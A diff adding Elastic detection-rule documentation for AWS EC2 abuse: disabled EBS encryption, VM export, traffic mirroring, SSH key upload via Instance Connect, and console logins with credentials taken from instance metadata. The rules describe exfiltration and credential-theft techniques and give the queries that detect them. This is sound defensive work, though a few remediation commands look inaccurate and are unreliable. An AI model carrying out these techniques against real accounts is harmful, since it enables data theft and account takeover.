Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Encryption Disabled* + + +Amazon Elastic Block Store (EBS) encryption ensures that all new EBS volumes and snapshots are encrypted at rest using AWS KMS keys. +When encryption by default is disabled, new EBS volumes in the region will no longer inherit automatic encryption. +This action can have serious security implications as it can weaken the organization’s data protection posture, violate compliance requirements, or enable adversaries to read or exfiltrate sensitive information without triggering encryption-based access controls. + + +*Possible investigation steps* + + +**Identify the initiator and context** +- Review the `aws.cloudtrail.user_identity` fields to determine who or what performed the `DisableEbsEncryptionByDefault` action. + - Examine the `user_identity.type` (e.g., IAMUser, AssumedRole, Root, FederatedUser). + - Validate whether the actor is authorized to modify account-level encryption defaults. +- Check `source.ip` and `user_agent.original` to identify the origin of the request and whether it came from a known administrative system, automation process, or an unfamiliar host. +- Correlate with recent IAM activity such as `AttachUserPolicy`, `UpdateAccountPasswordPolicy`, or `PutAccountSetting` to identify potential privilege escalation or account misuse. + +**Review the timing and scope** +- Compare the event `@timestamp` with other CloudTrail management events to determine if the encryption change occurred alongside other administrative modifications. +- Investigate if similar actions were executed in other AWS regions, disabling encryption regionally may be part of a broader campaign. +- Review AWS Config or Security Hub findings to determine whether compliance controls or data protection standards (e.g., CIS, PCI-DSS, ISO 27001) have been violated. + +**Assess data exposure risk** +- Identify newly created or modified EBS volumes after the timestamp of this change. + - Query CloudTrail for `CreateVolume` or `CreateSnapshot` events without `Encrypted:true`. +- Determine whether sensitive workloads, such as production databases or applications, rely on unencrypted EBS volumes. +- Check for `CopySnapshot` or `ModifySnapshotAttribute` activity that could indicate data staging or exfiltration. + +**Correlate related security events** +- Look for concurrent detections or GuardDuty findings involving IAM privilege misuse, credential exposure, or configuration tampering. +- Review CloudTrail logs for any `DisableKeyRotation` or `ScheduleKeyDeletion` events related to the KMS key used for EBS encryption. These may indicate attempts to disrupt encryption mechanisms entirely. +- Review AWS Config timeline to confirm whether encryption-by-default was re-enabled or remained off. + + +*False positive analysis* + + +- **Administrative changes**: System or cloud administrators may disable default encryption temporarily for troubleshooting or migration. Verify if the user identity, role, or automation process is part of a legitimate change. +- **Infrastructure testing**: Non-production environments may disable encryption for cost or performance benchmarking. These should be tagged and excluded. +- **Service misconfiguration**: Some provisioning frameworks or scripts may unintentionally disable encryption defaults during environment setup. Ensure automation code uses explicit encryption flags when creating resources. + +If confirmed as expected, document the change request, implementation window, and user responsible for traceability. + + +*Response and remediation* + + +**Containment and restoration** +- Re-enable EBS encryption by default in the affected region to restore protection for new volumes: + - Via AWS Console: EC2 → Account Attributes → EBS encryption → Enable by default. + - Or via CLI/API: `enable-ebs-encryption-by-default`. +- Audit recently created EBS volumes and snapshots. + - Identify any unencrypted resources and re-encrypt them using KMS keys or snapshot-copy encryption workflows. +- Verify that AWS Config rules and Security Hub controls related to EBS encryption (`ec2-ebs-encryption-by-default-enabled`) are enabled and compliant. + +**Investigate and scope** +- Review IAM policies to ensure only designated administrators have the `ec2:DisableEbsEncryptionByDefault` permission. +- Check for other regional encryption settings (e.g., S3 default encryption) that may have been modified by the same user or automation role. +- Examine whether any new IAM roles or policies were added that allow similar encryption or security modifications. + +**Long-term hardening** +- Enable organization-level service control policies (SCPs) to prevent future disabling of encryption-by-default across accounts. +- Establish AWS Config conformance packs or Security Hub standards to continuously monitor this setting. +- Integrate detection correlation (e.g., link EBS encryption disablement with subsequent unencrypted `CreateVolume` events) for improved alert fidelity. +- Educate administrators on data protection implications and require change approvals for encryption-related settings. + +**Recovery validation** +- After restoring encryption-by-default, validate the change in CloudTrail and AWS Config timelines. +- Confirm that subsequent EBS volumes are created with `Encrypted:true`. +- Conduct a short post-incident review to document root cause, impact, and lessons learned for compliance audits. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html[EBS Encryption at Rest]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-export-task.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-export-task.asciidoc new file mode 100644 index 0000000000..b999fd9701 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-export-task.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-aws-ec2-export-task]] +=== AWS EC2 Export Task + +Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html +* https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html +* https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.html, + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Asset Visibility +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Export Task* + + +The APIs `CreateInstanceExportTask`, `ExportImage`, and `CreateStoreImageTask` allow the export of a running or stopped EC2 instance (or its AMI/image) to external storage (e.g., S3) or image formats. While often used for migration, cloning or backup, adversaries can leverage these actions to copy full VM state or images out of the environment for exfiltration. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id` to identify who made the call. + - Verify `user_agent.original`, `source.ip` and `@timestamp` to determine whether the action is by known automation, trusted operator, or an unexpected identity or location. + - Confirm `cloud.account.id` and `cloud.region` match the expected account/region for export tasks. + +**Examine the specific export/image task details** + - Review `aws.cloudtrail.request_parameters` for details such as the `InstanceId`, `TargetEnvironment`, `S3Bucket`, `S3Key`, `DiskImageFormat`, `ContainerFormat`. + - Check `aws.cloudtrail.response_elements` for the resulting export task ID and status. + - Determine whether the exported instance or image contained sensitive workloads (e.g., production databases, critical systems) via instance tags or asset inventory. + +**Pivot to related API calls/events** + - Look for follow-on tasks such as: + - S3 bucket writes or cross-account bucket ACL changes (`PutBucketAcl`/`PutBucketPolicy`) referencing the export S3 bucket or key. + - `CopyImage`, `ModifyImageAttribute`, or `ShareImage` events if the exported image is copied or shared. + - Network or usage anomalies in the region or from the S3 bucket (large downloads from the exported object). + - Check for preceding suspicious actions that could indicate compromise: `AssumeRole`, `CreateAccessKey`, `AttachUserPolicy`, or unusual `Describe*` operations. + +**Assess legitimacy and risk** + - Confirm whether this export was authorized (via change ticket or migration workflow) and whether the principal has a documented justification for VM export. + - If unauthorized, assess what was exported, where it is stored, how it may be transferred or used externally, and the data risk exposure. + + +*False positive analysis* + + +- Legitimate migration or backup workflows may trigger these export/image APIs. +- Development/test environments may export VM images or instances for sandbox cloning. +- Known automation tools may create exports at scheduled times. + + +*Response and remediation* + + +- Immediately identify and disable or isolate any object/resource created by the export (e.g., the S3 bucket/object, image ID) that is suspected of unauthorized use. +- Revoke the access credentials (`aws.cloudtrail.user_identity.access_key_id`) used if they show unusual activity. +- Rotate keys, enforce MFA, and review IAM permissions for the principal. +- Audit the exported VM/image: review its contents if possible, check whether it has been moved off-account. +- Strengthen monitoring: set alerts for subsequent large data transfers from the S3 export location, cross-account sharing of exported images, or anomalous AMI imports. +- Update policy: restrict who can perform exports, monitor export actions via AWS Config or CloudTrail, tag and track export tasks and their destinations. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: ("CreateInstanceExportTask" or "ExportImage" or "CreateStoreImageTask") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-full-network-packet-capture-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-full-network-packet-capture-detected.asciidoc new file mode 100644 index 0000000000..a5cfda5dea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-full-network-packet-capture-detected.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-aws-ec2-full-network-packet-capture-detected]] +=== AWS EC2 Full Network Packet Capture Detected + +Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorSession.html +* https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Full Network Packet Capture Detected* + + +This alert fires on a successful `CreateTrafficMirrorSession`, which enables full-packet Traffic Mirroring from a +source ENI to a mirror target under a given filter. Because sessions immediately begin sending packets once active, +treat unexpected creations as high priority. + + +*Possible investigation steps* + + +**Identify the actor and execution context** +- **Principal**: Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and + `aws.cloudtrail.user_identity.access_key_id` to determine who created the session (human IAM user vs. assumed role vs. automation). +- **Caller metadata**: Check `user_agent.original`, and `source.ip` for unusual tools, hosts, or locations. +- **Account/Region/Time**: Validate `cloud.account.id`, `cloud.region`, and `@timestamp` against change windows or tickets. + +**Extract the session details from the event** +- **Request parameters**: Parse `aws.cloudtrail.request_parameters` for: + - `NetworkInterfaceId` (mirrored source ENI) map to the EC2 instance and its business function. + - `TrafficMirrorTargetId` identify where packets are being sent (ENI vs. NLB). + - `TrafficMirrorFilterId` check which directions and protocols are allowed (ingress/egress, ports). + - `SessionNumber`, `Description`, `TagSpecifications` look for operator tags or suspicious notes. +- **Response elements**: Use `aws.cloudtrail.response_elements` to confirm the created `TrafficMirrorSessionId` and + any resolved resource ARNs/IDs. + +**Pivot for related API calls to validate scope and intent** +Look before and after this event (±30–60 minutes) by the same principal / access key / source IP for: +- **Target & Filter lifecycle**: `CreateTrafficMirrorTarget`, `CreateTrafficMirrorFilter`, `CreateTrafficMirrorFilterRule`, + `ModifyTrafficMirrorSession|Filter|FilterRule`, and `Delete*` calls (rapid create-modify patterns can indicate staging). +- **Session management**: `DeleteTrafficMirrorSession` shortly after creation (test/probe), or repeated creations to different targets. +- **Discovery/positioning**: `DescribeNetworkInterfaces`, `DescribeInstances`, `DescribeVpcs/Subnets/RouteTables` around the same time. +- **Cross-account indicators**: creation of targets that forward to infrastructure not owned by your account (e.g., NLB in shared services). +- **Other suspicious changes**: IAM permission changes, new access keys, or S3/SNS setup that could support exfil/ops. + +**Validate the mirror destination and potential data exposure** +- If the target is an ENI: identify the owning instance/application; confirm it is an approved NDR/packet capture host. +- If the target is an NLB target: determine where the NLB sends traffic (could be a collection point in another VPC or account). +- Assess whether mirrored flows include plaintext protocols (internal HTTP, databases, LDAP, etc.) increasing sensitivity. + + +*False positive analysis* + + +- **Authorized monitoring**: Approved NDR/IDS tooling or troubleshooting playbooks may legitimately create sessions. +- **Ops/diagnostics**: Short-lived sessions during incident handling or performance analysis. +- **Automation**: Infrastructure pipelines that stand up temporary mirroring for validation. + + +*Response and remediation* + + +**Contain** +- If unauthorized, terminate the session immediately (use the `TrafficMirrorSessionId` from `aws.cloudtrail.response_elements`) + and block creation permissions for the offending principal. +- Quarantine or restrict egress from the target if you suspect it is forwarding captured traffic outside approved destinations. + +**Investigate** +- Enumerate all active sessions in the affected account/region; verify there aren’t additional rogue sessions. +- Review related target and filter resources (and recent `Modify*` calls) to understand captured scope and recipients. +- Trace the source ENI back to the EC2 instance and validate whether sensitive workloads were mirrored. + +**Recover & harden** +- Remove or lock down unapproved targets/filters; enforce least privilege on `ec2:CreateTrafficMirrorSession/Target/Filter`. +- Consider SCPs or IAM conditions limiting who/where sessions can be created (e.g., only into designated monitoring VPCs). +- Ensure monitoring targets are controlled, logged, and not internet-reachable. + +**Improve** +- Add correlation logic to automatically surface CreateTrafficMirrorSession alongside Create/Modify Target/Filter calls by the same actor. +- Require tags on approved mirroring resources; alert on untagged/unticketed creations. +- Update playbooks to include a standard validation checklist (principal, source ENI, target, filter rules, destination path). + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "ec2.amazonaws.com" and + event.action: "CreateTrafficMirrorSession" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc new file mode 100644 index 0000000000..08d47ab327 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-aws-ec2-instance-connect-ssh-public-key-uploaded]] +=== AWS EC2 Instance Connect SSH Public Key Uploaded + +Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques +* https://medium.parttimepolymath.net/aws-ec2-instance-connect-a-very-neat-trick-4d2fc0c28010 +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html +* https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Instance Connect SSH Public Key Uploaded* + + +This rule detects when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. Adversaries may upload SSH public keys to EC2 instances to maintain access to the instance or for initial access. This action also occurs automatically in the background when establishing a connection to an instance via the same service. The rule covers cases where the `SendSerialConsoleSSHPublicKey` API action is used to upload an SSH public key to a serial connection, which can be exploited for privilege escalation. + + +*Possible Investigation Steps:* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions. +- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the SSH public key upload. Look for any unusual parameters that could suggest unauthorized or malicious modifications. Determine the targeted EC2 instance. +- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. +- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the SSH public key was uploaded. Changes during non-business hours or outside regular maintenance windows might require further scrutiny. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities. +- **Check for Serial Console Access**: If the `SendSerialConsoleSSHPublicKey` action was used, verify if the `ec2:EnableSerialConsoleAccess` permission was also used, which might indicate an attempt to enable and exploit the serial console. + + +*False Positive Analysis:* + + +- **Legitimate Administrative Actions**: Confirm if the SSH public key upload aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. +- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. + + + +*Response and Remediation:* + + +- **Immediate Review and Reversal if Necessary**: If the upload was unauthorized, remove the uploaded SSH public key from the EC2 instance and review the instance's access logs for any suspicious activity. +- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive instances or unusual file extensions. +- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning SSH key management and the risks of unauthorized key uploads. +- **Audit EC2 Instance Policies and Permissions**: Conduct a comprehensive audit of all EC2 instance policies and associated permissions to ensure they adhere to the principle of least privilege. +- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. + + +*Additional Information:* + + +For further guidance on managing EC2 instances and securing AWS environments, refer to the https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on SSH key management and privilege escalation techniques: +- https://stratus-red-team.cloud/attack-techniques/AWS/aws.lateral-movement.ec2-instance-connect/[Stratus Red Team - AWS EC2 Instance Connect] +- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[HackTricks - AWS EC2 Privilege Escalation] +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSSHPublicKey.html[AWS EC2 Instance Connect API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: aws.cloudtrail + and event.provider: ec2-instance-connect.amazonaws.com + and event.action: (SendSSHPublicKey or SendSerialConsoleSSHPublicKey) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-console-login-via-assumed-role.asciidoc new file mode 100644 index 0000000000..3ae8d2f726 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-instance-console-login-via-assumed-role.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-20-aws-ec2-instance-console-login-via-assumed-role]] +=== AWS EC2 Instance Console Login via Assumed Role + +Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/aws-sts/ +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Data Source: AWS STS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Lateral Movement +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Instance Console Login via Assumed Role* + + +This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking. + + +*Possible investigation steps* + + +- **Identify the source and actor** + - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern). + - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications. + - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious). + +- **Correlate surrounding activity** + - Pivot in Timeline to view the sequence of events leading up to the login, including: + - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`) + - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance. + - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`). + +- **Assess IAM role exposure** + - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions. + - Evaluate whether the role grants console access or permissions beyond what that workload normally requires. + - Check for any recent changes to that role’s trust policy or attached policies. + +- **Validate authorization** + - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console. + - If no legitimate activity can explain the login, treat the credentials as compromised. + + +*False positive analysis* + + +This is very uncommon behavior. +Known legitimate causes include: +- AWS or internal security automation that programmatically initiates console sessions for validation or testing. +- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance. +- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios. + +For any other occurrence, treat the alert as potentially malicious. +Validate through: +- The originating instance’s purpose and owner. +- Known automation patterns in `user_agent.original`. +- The timestamp alignment with planned testing or security validation. + + +*Response and remediation* + + +- **Immediate containment** + - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials). + - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse. + - Invalidate active console sessions via AWS CLI or the AWS Console. + +- **Investigation and scoping** + - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours. + - Determine if additional roles or instances show similar `ConsoleLogin` patterns. + - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users). + +- **Recovery and hardening** + - Rotate all credentials for affected roles and users. + - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata. + - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "signin.amazonaws.com" + and event.action in ("ConsoleLogin", "GetSigninToken") + and event.outcome == "success" + and aws.cloudtrail.user_identity.type == "AssumedRole" + and stringContains (user.id, ":i-") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: 